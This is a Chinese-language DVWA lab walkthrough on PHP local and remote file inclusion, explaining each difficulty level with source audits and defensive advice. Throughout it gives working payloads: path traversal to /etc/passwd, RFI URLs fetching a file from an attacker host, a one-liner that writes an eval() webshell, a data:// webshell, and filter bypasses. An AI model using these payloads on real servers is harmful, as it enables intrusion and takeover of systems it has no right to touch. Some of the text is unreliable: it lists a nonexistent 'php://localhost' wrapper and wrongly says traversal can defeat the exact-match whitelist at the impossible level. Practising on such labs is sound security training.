File Inclusion(文件包含)漏洞
指攻击者通过恶意构造输入,利用应用程序错误的文件包含机制,导致程序包含并执行未经授权的本地或远程文件。这类漏洞广泛存在于Web应用程序中,尤其是在那些允许用户提供文件路径或URL的地方。
1. File Inclusion漏洞类型
File Inclusion漏洞主要分为两种类型:
1.1 本地文件包含(Local File Inclusion, LFI)
本地文件包含漏洞允许攻击者通过恶意构造的路径包含本地服务器上的任意文件,进而导致敏感信息泄露,甚至远程代码执行。
示例:
<?php
include($_GET['page']); // 通过GET参数传入页面名称
?>
攻击者可以通过访问如下URL来利用LFI漏洞:
http://example.com/index.php?page=/etc/passwd
这将导致/etc/passwd文件的内容泄露。若服务器配置不当,攻击者还可能通过路径遍历(../)访问其他敏感文件。
1.2 远程文件包含(Remote File Inclusion, RFI)
远程文件包含漏洞允许攻击者通过提供远程URL,包含并执行远程服务器上的文件。这通常会导致远程代码执行,攻击者可以上传恶意脚本并在受害服务器上执行。
示例:
<?php
include($_GET['page']); // 通过GET参数传入页面名称
?>
如果没有对用户输入进行有效的检查,攻击者可以通过以下URL引发远程文件包含:
http://example.com/index.php?page=http://attacker.com/malicious_file.php
这样,远程的malicious_file.php脚本就会被包含并在目标服务器上执行。
2. File Inclusion漏洞的攻击路径
- 信息泄露: 攻击者可以利用LFI漏洞泄露服务器上的敏感信息(如密码文件、配置文件等)。
- 远程代码执行: 如果允许远程文件包含,攻击者可以通过上传恶意文件,远程执行代码。
- 服务器命令执行: 通过将恶意脚本注入并包含到服务器中,攻击者可以通过执行命令控制服务器。
3. 防御措施
3.1 严格验证输入
- 输入验证: 始终验证用户输入,限制文件路径的范围。可以通过白名单机制来限制可包含的文件路径。
- 禁用URL包含: 在PHP等语言中,可以通过配置allow_url_include为Off来禁止远程文件包含。
3.2 使用固定路径
- 避免用户输入直接作为文件路径: 如果必须从外部输入文件路径,使用固定的目录和文件名,避免让攻击者控制文件路径。
3.3 使用文件扩展名白名单
- 白名单限制文件类型: 限制用户输入的文件类型,例如只允许.php、.html等预定义的文件。
3.4 禁止执行某些文件
- 配置Web服务器: 禁止在某些目录(如上传目录)中执行文件,防止攻击者上传并执行恶意脚本。
3.5 最小化文件权限
- 最小权限原则: 对Web服务器上的文件进行权限控制,确保其只能读取和写入必要的文件,避免赋予过高的权限。
4. 检测和漏洞修复
4.1 代码审计
- 检查include、require等文件包含函数的使用,确保没有直接从用户输入读取文件路径。
4.2 使用安全开发框架
- 使用安全开发框架,自动对输入进行严格验证和过滤。
4.3 使用现代的防御技术
- 配置Web应用防火墙(WAF)来检测并阻止文件包含漏洞的利用。
靶场启动报错解决: 关于DVWA靶场File Inclusion中出现The PHP function allow_url_include is not enabled解决办法_dvwa the php function allow url include is not ena-****博客
漏洞利用前置知识点:
在php.ini配置文件里面存在两个配置选项,allow_url_include/allow_url_fopen。当这两个配置选项都为On时,就可能存在RFI(远程文件包含);如果allow_url_include为On,allow_url_fopen为Off时,则存在LFI(本地文件包含),可以执行PHP代码(利用PHP伪协议)来获得webshell
PHP伪协议(PHP wrapper protocols)是PHP中的一种特殊的协议,允许通过自定义的协议访问不同的数据源或文件。例如,常见的file://协议用于读取本地文件,而php://协议则是PHP特有的协议,用于访问PHP内部流或执行某些特定操作。PHP伪协议常被攻击者利用来绕过安全限制、读取敏感信息、或者在服务器上执行恶意代码
伪协议 |
用途 |
潜在攻击场景 |
防御措施 |
php://input |
读取原始POST数据。 |
攻击者可能通过操控POST数据,读取敏感信息。 |
严格验证和过滤POST数据,避免直接使用未验证的输入。 |
php://filter |
文件内容过滤(如字符串转化、压缩等)。 |
攻击者可用来绕过过滤或操控文件内容,泄露敏感信息。 |
禁止不必要的文件过滤操作,确保过滤链的安全。 |
php://localhost |
本地文件读取,可能存在未过滤的路径。 |
攻击者可利用路径读取服务器上的敏感文件。 |
禁用或限制此协议的使用,确保不允许外部访问本地资源。 |
php://memory |
将数据读入内存。 |
攻击者可能通过内存注入篡改文件内容或执行恶意代码。 |
限制该协议的使用范围,仅限必要的内存操作。 |
php://temp |
临时文件存储。 |
攻击者可以注入恶意脚本,绕过其他安全措施。 |
确保对临时文件的权限和内容进行严格控制。 |
data:// |
将数据嵌入URL中传递。 |
攻击者可以通过构造恶意数据来绕过输入验证。 |
使用安全的输入验证策略,确保对URL数据的严格过滤。 |
file:// |
本地文件系统读取文件。 |
攻击者通过路径遍历读取敏感文件(如/etc/passwd)。 |
禁止直接从用户输入中读取文件路径,限制文件路径的访问。 |
glob:// |
列出符合模式的文件。 |
攻击者可能列出敏感文件,进行信息泄露。 |
只允许列出特定目录中的文件,避免敏感目录被列出。 |
phar:// |
读取PHAR文件内容。 |
攻击者上传恶意PHAR文件,通过此协议执行恶意代码。 |
禁止上传可执行PHAR文件,使用白名单机制控制可执行文件。 |
1,low难度下的File Inclusion漏洞利用(本地文件包含)
1,观察靶场环境
2,依次点击这三个文件,发现是URL栏的链接变动实现了页面切换
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file1.php
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file2.php
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=file2.php
而且只是page=后的参数发生变化,因此可以通过改变将page后的参数测试有无有无漏洞
2,通过hackbar传构造测试payload:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=1.php
可以看到是可以读取这个文件的,尽管不存在但还是爆出来了路径
3,可以构造payload尝试读取phpinfo.php(通过控制..的用法测试出phpinfo.php的路径):http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../phpinfo.php
- 文件包含漏洞(File Inclusion Vulnerability):如果应用程序没有对用户输入进行严格验证,攻击者可以通过提供恶意的文件路径来包含服务器上的任意文件。../../ 是典型的 路径遍历攻击,攻击者试图通过调整文件路径来访问应用服务器的敏感文件(例如 phpinfo.php、/etc/passwd、config.php 等)。
- 路径遍历攻击:当你访问 ?page=../../phpinfo.php 时,../../ 意味着向上遍历两个目录,攻击者希望访问位于服务器其他位置的文件(例如 /var/www/html/phpinfo.php)。在这个例子中,攻击者尝试包含 phpinfo.php,以便查看关于服务器和 PHP 环境的敏感信息。
phpinfo.php 是一个非常常见的 PHP 文件,用于输出当前 PHP 环境的详细信息,包括 PHP 版本、配置选项、加载的模块、环境变量等。这对调试、查看 PHP 配置、安装的扩展、服务器环境等信息非常有帮助。
4,这就验证了这个网站存在本地文件包含漏洞,如果一个网站仅仅存在本地文件包含漏洞,这也仅能够做一些有限的操作
本地文件包含漏洞的局限性:
1. 依赖于文件包含机制
LFI 漏洞的存在与否完全依赖于 Web 应用程序是否使用文件包含机制(如 PHP 中的 include 或 require)。如果应用程序没有使用文件包含操作,或者没有暴露可以通过用户输入控制的文件路径,那么 LFI 攻击就无法发生。
- 无文件包含功能的应用:如果应用程序没有通过 URL 或其他方式允许用户指定包含的文件,则 LFI 漏洞无法发生。
- 只支持特定文件格式或路径:许多应用程序会限制可以包含的文件格式(如仅允许 .php 文件),或者仅允许从特定目录加载文件,这限制了攻击者的攻击面。
2. 权限限制
LFI 漏洞的攻击效果在很大程度上取决于服务器的权限设置。如果文件包含操作允许读取文件的范围受到严格限制,攻击者的攻击效果会大打折扣。
- 严格的文件权限:如果服务器上的敏感文件(如 /etc/passwd、/etc/shadow、应用程序配置文件等)只有特定用户或进程可以读取,攻击者无法通过 LFI 漏洞直接访问这些文件。
- PHP 等执行环境的限制:许多服务器会在 PHP 配置中禁用文件包含功能,或者启用了 open_basedir、safe_mode 等安全设置,限制了包含文件的路径和范围,从而减少了攻击者通过 LFI 漏洞访问系统文件的能力。
3. 路径遍历的限制
LFI 漏洞常见的攻击方式是通过路径遍历(../../)来访问上级目录或敏感文件。然而,路径遍历攻击的有效性会受到如下因素的限制:
- 输入过滤和路径限制:许多 Web 应用程序对输入的文件路径会进行过滤或限制,阻止如 ../、..\ 等路径遍历符号的使用。
- Web 服务器配置:Web 服务器(如 Apache 或 Nginx)通常会限制特定目录(例如 document_root 目录)之外的文件访问,因此即使攻击者能够操纵 page 参数,也只能访问到某些受限的文件,无法访问整个文件系统。
4. 未能充分利用文件包含漏洞
在某些情况下,即使存在 LFI 漏洞,攻击者可能无法从中获得足够的信息或控制权,尤其是在文件包含操作的实现不符合攻击者的预期时。例如:
- 不能执行代码:如果 LFI 漏洞仅允许包含纯文本文件(如日志文件或文档文件)而不允许执行 PHP 代码,攻击者就无法通过包含恶意代码来实现远程代码执行(RCE)。
- 无法控制文件内容:攻击者如果无法上传文件或者无法控制文件的内容(例如,上传的文件内容被清理或格式化),即使可以通过 LFI 包含文件,也无法执行恶意代码。
5. 依赖于其他漏洞
LFI 漏洞通常需要配合其他漏洞才能有效利用。例如,攻击者可能需要:
- 文件上传漏洞:攻击者通过文件上传漏洞上传恶意文件(如 PHP 脚本),然后利用 LFI 漏洞将其包含并执行。
- 信息泄露漏洞:如果攻击者能通过 LFI 获取某些敏感信息(如数据库凭证、文件路径、配置信息等),他们可能会进一步利用这些信息来发起其他攻击。
- 代码执行漏洞:如果 LFI 漏洞本身无法直接导致代码执行,攻击者需要利用其他漏洞(如跨站脚本攻击、SQL 注入等)来获得执行权限。
6. 攻击效果受目标系统配置影响
不同系统和环境的配置可能对 LFI 漏洞的利用造成不同的影响。例如:
- 启用日志文件的 Web 服务器:如果 Web 服务器配置允许记录错误信息(如 PHP 错误日志)并且这些日志文件没有受到足够保护,攻击者可能会通过 LFI 访问到这些日志并获取到敏感信息,如数据库查询语句、应用程序栈跟踪等。
- 启用 open_basedir 或 chroot 等安全机制的 PHP 环境:这些安全机制限制了 PHP 脚本只能访问特定的目录,从而有效限制了 LFI 漏洞的攻击范围。即使存在 LFI 漏洞,攻击者也无法访问服务器上其他目录的文件。
7. 缺乏恶意载入功能
某些 LFI 漏洞可能不能直接导致恶意文件的加载,特别是在缺乏对文件上传、文件内容控制或者执行权限的支持时。攻击者只能读取静态文件,无法执行其包含的恶意代码。
总结
虽然 LFI 漏洞具有潜在的严重危害性,但它的利用也存在一些局限性,包括:
- 依赖文件包含机制:LFI 漏洞只有在应用程序支持文件包含并允许用户输入文件路径时才存在。
- 权限限制:文件访问权限和执行环境的限制可能会限制攻击者的活动范围。
- 路径遍历限制:路径遍历可能会受到过滤或限制,导致攻击受阻。
- 需要配合其他漏洞:LFI 漏洞常常需要与其他漏洞(如文件上传漏洞、信息泄露漏洞等)结合使用,才能达到更大的攻击效果。
- 系统配置影响:Web 服务器和 PHP 环境的安全配置可能会减少 LFI 漏洞的危害。
本地文件包含(LFI)漏洞的攻击者利用可能造成的主要危害包括:
1. 信息泄露
攻击者通过 LFI 漏洞可以访问和读取系统上的敏感文件。常见的泄露文件包括:
- /etc/passwd(Linux 系统):这个文件存储了系统的用户账户信息,攻击者可以从中获取用户的用户名、UID、GID等。如果结合其他漏洞(如密码猜测、暴力破解),攻击者可能获得系统的访问权限。
- Web 应用程序的配置文件:比如存储数据库连接信息的配置文件(如 config.php、wp-config.php 等),其中可能包含数据库用户名、密码、主机名等敏感数据。
- 系统日志文件:如果系统日志中记录了敏感操作(如数据库错误、应用程序异常等),攻击者可以从日志文件中获取信息,甚至发现其他潜在漏洞。
- API 密钥、加密密钥等:某些应用程序可能将密钥、证书等敏感数据存储在文件中,LFI 漏洞可以被用来读取这些文件,从而泄露重要信息。
2. 远程代码执行(RCE)
LFI 漏洞可以进一步利用来实现远程代码执行(RCE),这通常是攻击者通过上传恶意文件(如 PHP 脚本)并利用 LFI 漏洞来执行它们的方式。攻击者的目标通常是:
- 上传恶意 PHP 文件:攻击者可以通过其他漏洞(如文件上传漏洞)上传一个包含恶意代码的 PHP 文件。然后,通过 LFI 漏洞将这个文件包含到应用程序中,进而执行文件中的恶意代码。
- 执行服务器上的恶意脚本:攻击者可以构造一个 URL,要求服务器包含并执行已经存在的恶意文件,或者利用应用程序中的 LFI 漏洞载入服务器上的恶意脚本。
例如,攻击者上传一个名为 shell.php 的 PHP 文件,然后通过 LFI 漏洞将该文件包含并执行:
http://example.com/index.php?page=uploads/shell.php
如果文件被包含并成功执行,攻击者就可以通过该文件控制服务器,执行任意命令或操作。
3. 本地文件覆盖
在某些情况下,LFI 漏洞也可能导致本地文件覆盖。攻击者利用漏洞将恶意代码或脚本写入系统的关键文件中,可能会对服务器造成严重破坏。例如:
- 覆盖系统文件:攻击者可能将恶意代码写入关键系统文件,如 /etc/passwd(Linux 用户文件)或 Web 服务器的配置文件(如 httpd.conf),导致系统崩溃或使系统进入无法正常工作状态。
- 覆盖应用程序文件:如果应用程序的文件可以被写入,攻击者可能通过 LFI 漏洞替换应用程序中的文件,从而篡改或破坏应用程序的功能。
4. 路径遍历与敏感文件访问
LFI 漏洞通常允许攻击者进行路径遍历(Directory Traversal),通过改变文件路径来访问本不应该暴露的文件。例如:
- 访问任意文件:攻击者可以通过修改 page 参数来访问 Web 服务器上的任意文件。例如,通过路径遍历,攻击者可以访问系统上的任意文件,如 /etc/shadow(Linux 系统中的密码哈希文件)。
- 访问其他用户的文件:攻击者可以访问存储在系统中其他用户文件夹中的文件,甚至获取其他用户的敏感数据。
5. 绕过安全限制
LFI 漏洞还可能被用来绕过某些应用程序的安全限制。例如:
- 绕过输入过滤:一些应用程序可能对特定输入进行过滤(如防止文件路径包含 ../ 等)。但是,攻击者可以通过编码或其他技术绕过这些限制,依然能达到包含敏感文件的目的。
- 绕过权限检查:LFI 漏洞可能被用来绕过某些权限检查,直接访问受限制的文件或目录,获取不应公开的敏感信息。
总结
LFI 漏洞的危害主要体现在以下几个方面:
- 信息泄露:攻击者可以窃取敏感信息,如用户数据、数据库凭证、日志文件等。
- 远程代码执行(RCE):攻击者可以通过上传恶意文件并利用 LFI 漏洞执行代码,进而控制服务器。
- 文件覆盖与篡改:攻击者可能利用 LFI 漏洞覆盖系统文件或应用程序文件,导致服务中断或功能损坏。
- 绕过安全限制:通过路径遍历或其他技巧,攻击者可能绕过应用的安全机制,访问本应受到保护的资源。
1.5,low难度下的File Inclusion漏洞利用(远程文件包含)
经过前面的测试知道存在文件包含漏洞,那么还可以测试有无远程文件包含,思路就是通过远程文件包含从攻击者搭建的服务器下载恶意的木马文件,以获取该网站的webshell
1,首先在攻击机kali上写执行远程文件包含的一句话木马,然后搭建http服务
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
python -m http.server
2,然后构造文件包含的payload:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=http://192.168.23.140:8000/hack.php
在kali上也能够验证文件包含成功
3,然后再使用蚁剑进行连接,获得网站的webshell
http://127.0.0.1/DVWA-master/vulnerabilities/fi/shell.php
成功获得网站的webshell,接下来就可以进一步提权获得服务器的控制权
对low难度的靶场进行源码分析
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
-
本地文件包含(LFI)漏洞: 由于 $file 变量的值来源于未验证的 $_GET['page'] 参数,攻击者可以通过修改 URL 参数来指定要加载的文件路径,进而访问 Web 服务器的敏感文件。
例如,攻击者可以通过访问以下 URL 来读取 /etc/passwd 文件(在类 Unix 系统中存储用户信息的文件):
http://example.com/index.php?page=../../../../etc/passwd
通过路径遍历,攻击者可以绕过限制并访问服务器上的敏感文件。../../ 表示从当前目录返回到上一级目录,多个 ../../ 则可以继续向上遍历目录。 -
信息泄露: 如果文件包含机制不加限制,攻击者能够访问和查看应用程序的配置文件、日志文件、数据库凭证、系统文件等敏感信息。例如:
- 读取数据库配置文件(如 config.php 或 wp-config.php)并获取数据库凭证。
- 获取日志文件(如 Apache 或 PHP 错误日志),其中可能泄露敏感信息(例如 SQL 错误信息、路径、用户名、密码等)。
-
远程代码执行(RCE): 如果攻击者能够通过其他方式将恶意代码(如 PHP 文件)上传到服务器,结合本地文件包含漏洞,攻击者可以通过 $_GET['page'] 参数加载并执行恶意文件。这样,攻击者可以执行任意 PHP 代码,获取服务器的控制权限。
例如,假设攻击者通过其他漏洞上传一个恶意的 PHP 文件(例如 shell.php),并通过 $_GET['page'] 参数加载它:
http://example.com/index.php?page=uploads/shell.php
如果上传目录可写且 Web 服务器允许执行上传的 PHP 文件,攻击者可以通过这种方式执行任意代码。 -
路径遍历攻击: 攻击者可以通过构造恶意的 page 参数来利用路径遍历访问服务器上的任意文件。例如:
http://example.com/index.php?page=../../../../etc/hosts
在没有有效的输入验证的情况下,这种路径遍历攻击能够让攻击者访问不该公开的文件。
攻击步骤:
-
利用路径遍历读取敏感文件:
- 攻击者构造 URL 来读取 /etc/passwd 文件或其他敏感系统文件。
- 例如:http://example.com/index.php?page=../../../../etc/passwd 读取用户列表。
-
信息泄露:
- 攻击者可以尝试访问应用程序的配置文件或日志文件,提取敏感信息(如数据库连接凭据、API 密钥等)。
-
执行远程代码:
- 如果存在文件上传漏洞,攻击者可以上传 PHP 脚本并通过本地文件包含漏洞执行它。例如,通过 page 参数包含恶意的 PHP 文件,从而执行远程命令。
-
获取 Web Shell:
- 攻击者可以通过 LFI 加载恶意文件,例如一个带有 eval() 函数的 PHP 脚本,从而执行传递的 PHP 代码。
二,medium难度下的File Inclusion
1,依然是熟悉的三个file.php
2,构造payload尝试读取phpinfo.php以验证存在文件包含漏洞
http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=../../phpinfo.php
发生了报错,说明对目录遍历攻击做了限制
3,尝试使用绝对路径能否绕过(在目标网站目录结构明了的情况下)
payload:http://127.0.0.1/DVWA-master/vulnerabilities/fi/?page=D:/phpstudy_pro/WWW/DVWA-master/phpinfo.php
成功实现对限制使用字符串"../"的绕过
4,利用双反斜杠。在 Windows 系统中,..\ 可以使用 ..\\ 进行表示,因此可以绕过 str_replace 的替换,payload:..\\..\\phpinfo.php
5,使用使用 URL 编码。由于 PHP 会自动解码 URL 编码的字符串,攻击者可以尝试 URL 编码字符来绕过过滤。例如,%2e%2e%2f 代表 ../,%5c 代表反斜杠(\)。payload:%2e%2e%2f%2e%2e%2fphpinfo.php
6,混淆绕过的payload:..././..././phpinfo.php
7,再尝试远程文件包含从攻击机上获取一句话木马,首先开启攻击机的http服务
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
payload:http://192.168.23.140:8000/hack.php
发生报错,这是对远程文件包含的下载行为做出了限制
8,发现能够双写被过滤的字符串进行绕过,payload:httphttp://://192.168.23.140:8000/hack.php
kali linux上验证也是如此
9,接下来就可以使用蚁剑对靶机进行连接,获得网站webshell
10,第二种方法写一句话木马,本地文件包含需要用的data伪协议。payload:
data://text/plain,<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
代码分解
-
fopen('shell.php','w'):
- 这行代码用于打开一个名为 shell.php 的文件。如果该文件不存在,PHP 会尝试创建它。
- 'w' 表示写入模式,这意味着如果 shell.php 已经存在,它会被重写。
-
fputs(...):
- 这个函数将内容写入文件。它的作用是将第二个参数的内容写入 shell.php 文件中。
-
'<?php eval($_POST[pass])?>':
- 这部分内容是要写入 shell.php 文件的代码。具体来说,它写入的内容是 PHP 代码 <?php eval($_POST['pass'])?>,这段代码会对传入的 POST 请求参数 pass 进行 eval() 执行。
- eval() 函数是一个非常危险的函数,它会执行作为字符串传递给它的 PHP 代码。因此,攻击者可以通过向该文件发送包含恶意 PHP 代码的 POST 请求来执行任意的 PHP 代码
经过检验也是能够成功写入的
对medium难度靶场进行源码分析
功能描述
-
获取 page 参数:
- 通过 $_GET['page'] 获取请求中的 page 参数,用于决定需要显示的页面。
-
输入过滤与清理:
- 第一个 str_replace() 函数从 $file 变量中移除所有 http:// 和 https:// 字符串。这是防止远程文件包含(Remote File Inclusion, RFI)攻击的一部分,避免用户提供远程文件的 URL。
- 第二个 str_replace() 函数移除 ../ 和 ..\\,这是防止目录遍历攻击(Directory Traversal)的一部分,防止用户通过 page 参数访问系统的任意文件。
潜在问题与安全分析
尽管这段代码在一定程度上进行了输入验证,但它并没有完全确保安全性。以下是具体的分析:
1. 不完整的输入验证 — 目录遍历漏洞
- 代码中虽然移除了 ../ 和 ..\\,防止了部分常见的目录遍历攻击,但并没有考虑其他变种的目录遍历。例如,攻击者可以使用 URL 编码来绕过这些验证。
比如,攻击者可以构造如下的 URL:
page=..%2F..%2Fetc%2Fpasswd
这将被解码为 ../../etc/passwd,并可能允许攻击者读取系统上的敏感文件(如 /etc/passwd)。 - 改进建议:需要增加更多的安全过滤,考虑对 URL 编码和其他潜在的攻击方式进行解码后处理,或者直接使用白名单来验证合法的页面名称。
2. 没有明确的文件扩展名限制
- 该代码没有对 $file 变量指定文件扩展名的限制。例如,如果 $file 是一个用户可控的参数,攻击者可以指定任何文件类型,包括 PHP 文件。
- 如果攻击者能够通过 page 参数提供一个带有 .php 后缀的文件,并且该文件位于允许的目录中,攻击者可能会注入恶意 PHP 代码。
- 改进建议:强制对 $file 参数进行限制,确保它只能指向某个特定目录下的合法静态文件(如 HTML、PHP 文件),并且最好是指定一个固定的扩展名,例如 .php 或 .html。
3. 潜在的本地文件包含漏洞(Local File Inclusion, LFI)
- 代码没有对 $file 进行严格的检查,仅仅移除了 http:// 和 https://,以及 ../ 和 ..\\。这意味着如果攻击者提供了文件名,可以访问服务器上的其他文件,尤其是在没有正确配置服务器权限时。
例如,攻击者可能构造如下请求:
page=../../../../../etc/passwd
如果服务器的文件系统允许此类访问,并且存在路径穿越漏洞,攻击者将能够读取敏感文件(如 /etc/passwd)。 - 改进建议:使用白名单来限制 $file 参数,只允许访问某个特定目录中的文件。可以通过验证文件路径是否在允许的目录范围内来防止访问敏感文件。
4. 未对文件内容做检查
- 代码并没有对 $file 变量的值进行检查,是否是一个合法的文件。一个潜在的攻击者可以通过提供一个经过编码的文件路径,或者其他恶意的文件名来尝试加载不被授权的文件。
- 改进建议:在加载文件之前,确保检查文件的存在性和合法性。可以使用 realpath() 函数获取文件的绝对路径,并确认它是否在一个受信任的目录内。
5. 缺少日志记录和监控
- 如果该代码中存在潜在的安全漏洞(如文件包含漏洞),并且攻击者尝试利用该漏洞时,没有明确的日志记录和监控,可能导致漏洞被滥用而不被发现。
- 改进建议:在安全敏感的操作(如文件加载)中添加日志记录,以便能够检测到异常访问行为。比如,日志记录任何非法的文件加载尝试。
改进建议
-
加强输入验证:
- 过滤掉 ../ 和 ..\\ 之外的其他路径穿越攻击,如 URL 编码、%2E%2E/ 等。
- 采用正则表达式或白名单方法来验证 $file 参数,确保它只包含安全的字符集,并限制文件的路径和扩展名。
-
限制文件扩展名:
- 强制对文件类型进行检查,确保 $file 参数只能指向特定的文件类型(例如 .html 或 .php),并且应该明确限制文件必须存在于特定的目录下。
-
使用白名单:
- 使用白名单方式,确保 $file 只能指向预定义的合法文件。例如,可以将允许加载的文件名存储在数组或数据库中,所有用户请求的文件都必须出现在这个列表中。
-
路径检查:
- 使用 realpath() 等函数获取文件的绝对路径,确保文件不在外部目录或系统敏感目录中。
-
加强日志记录和监控:
- 监控用户的请求,特别是异常的 page 参数,记录所有的非法文件访问尝试,及时发现和响应潜在的攻击。
三,high难度下的File Inclusion
1,high难度下时,之前一些比较常见的漏洞利用payload应该都失效了,payload:../../phpinfo.php
2,绝对路径绕过也不行,尝试其他绕过手段。比如利用file伪协议读取本地文件,payload:file://D:/phpstudy_pro/WWW/DVWA-master/phpinfo.php
绕过成功,说明该靶场的配置文件没有对伪协议file://进行过滤拦截
3,尝试本地文件包含利用data伪协议写一句话木马
data://text/plain,<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
没有成功,说明过滤限制了data伪协议
4,测试远程文件包含漏洞利用,http伪协议从攻击机kali上面下载一句话木马。payload:http:192.168.23.140:8000/hack.php
5,依然失败,那么这个时候文件包含的利用方式就大打折扣,只能使用file伪协议从本地计算机获取一句话木马
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[pass])?>');?>
payload:file://D:/phpstudy_pro/shell.php
读取成功,接下来就可以使用蚁剑进行连接了
6,在实际渗透测试中,如只允许本地文件包含的情况下,一般要和任意文件上传漏洞结合。例如,攻击者在某某目录传了入了恶意文件,而目标服务器正好有一个网站存在本地文件包含漏洞,那么就可以使用伪协议file://对上传的恶意文件进行包含
对high难度下源码进行代码审计,分析其安全机制
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
1. 漏洞概述
代码的目的是基于URL中的 page 参数来加载某个文件。但存在几个潜在的安全问题,特别是与 文件包含(File Inclusion)漏洞 和 输入验证不足 相关。
2. 问题分析
A. $_GET['page'] 的不安全使用
$file = $_GET['page'];
- 这段代码从 URL 获取 page 参数值,后续没有对其进行足够严格的检查和过滤。
- 如果攻击者可以控制 page 参数的值,他们就可能通过该参数进行恶意操作。
B. 不充分的输入验证(fnmatch 和硬编码检查)
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
- fnmatch( "file*", $file ):该函数会检查 $file 是否符合某个模式(以 file 开头)。虽然表面上看,它限制了只允许以 file 开头的文件名,但如果文件名包含有害字符(如路径分隔符、相对路径 ../ 等),攻击者仍然可以绕过这个检查。
- && $file != "include.php":仅允许 include.php 作为额外的例外。然而这只是硬编码的一个文件名,其他安全性较低的文件依然有可能被包含。
C. 潜在的文件包含漏洞
虽然代码在某种程度上做了限制,但依然有潜在的路径遍历漏洞。攻击者可以通过特制的输入值(例如 ../../etc/passwd)来尝试读取服务器上的其他文件。
- fnmatch 在这段代码中的作用有限,攻击者可以尝试使用 URL 编码或路径绕过技巧,绕过该限制。
- 如果攻击者能够控制 $file 的值,且没有更严格的文件路径限制,可能会导致 本地文件包含(LFI) 漏洞。
四,impossible难度下的File Inclusion
对impossiable难度的靶场进行代码审计,分析其安全机制
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
1. 代码功能概述
这段代码根据传入的 $_GET['page'] 参数决定要加载的文件。它的主要目标是通过简单的条件判断限制加载特定文件,防止加载其他文件。具体的逻辑是:
- 如果 $_GET['page'] 的值为 include.php 或者 file1.php、file2.php、file3.php,则允许加载该文件。
- 否则,输出错误信息并终止脚本执行。
2,安全机制分析
-
输入验证
- 代码通过if语句检查$file的值是否为预定义的四个文件名之一。这种硬编码的检查方式可以防止用户加载未授权的文件。
-
错误处理
- 如果$file的值不在允许列表中,代码会输出“ERROR: File not found!”并调用exit函数终止脚本执行,防止进一步的文件操作。
3,潜在安全风险
-
文件包含漏洞
- 尽管代码对$file进行了硬编码的检查,但如果攻击者能够绕过这些检查(例如通过路径遍历攻击),他们仍然可能加载任意文件。例如,攻击者可以通过传递类似../../etc/passwd的值来尝试访问系统文件。
-
逻辑缺陷
- 代码仅检查了文件名的字面值,而没有考虑文件路径。如果$file包含路径信息(如/path/to/file.php ),代码将无法正确处理,可能导致安全漏洞。
改进建议
-
使用白名单路径
- 除了检查文件名外,还应确保文件路径在预定义的目录内。例如,可以使用basename()函数去除路径信息,或者使用realpath()函数验证文件是否在允许的目录中。
-
避免直接使用用户输入
- 可以考虑使用一个映射数组来将用户输入映射到实际的文件路径,而不是直接使用$_GET['page']的值。这样可以更好地控制允许加载的文件。
-
日志记录与监控
- 记录所有文件加载操作,并监控异常行为。这有助于及时发现并应对潜在的攻击尝试。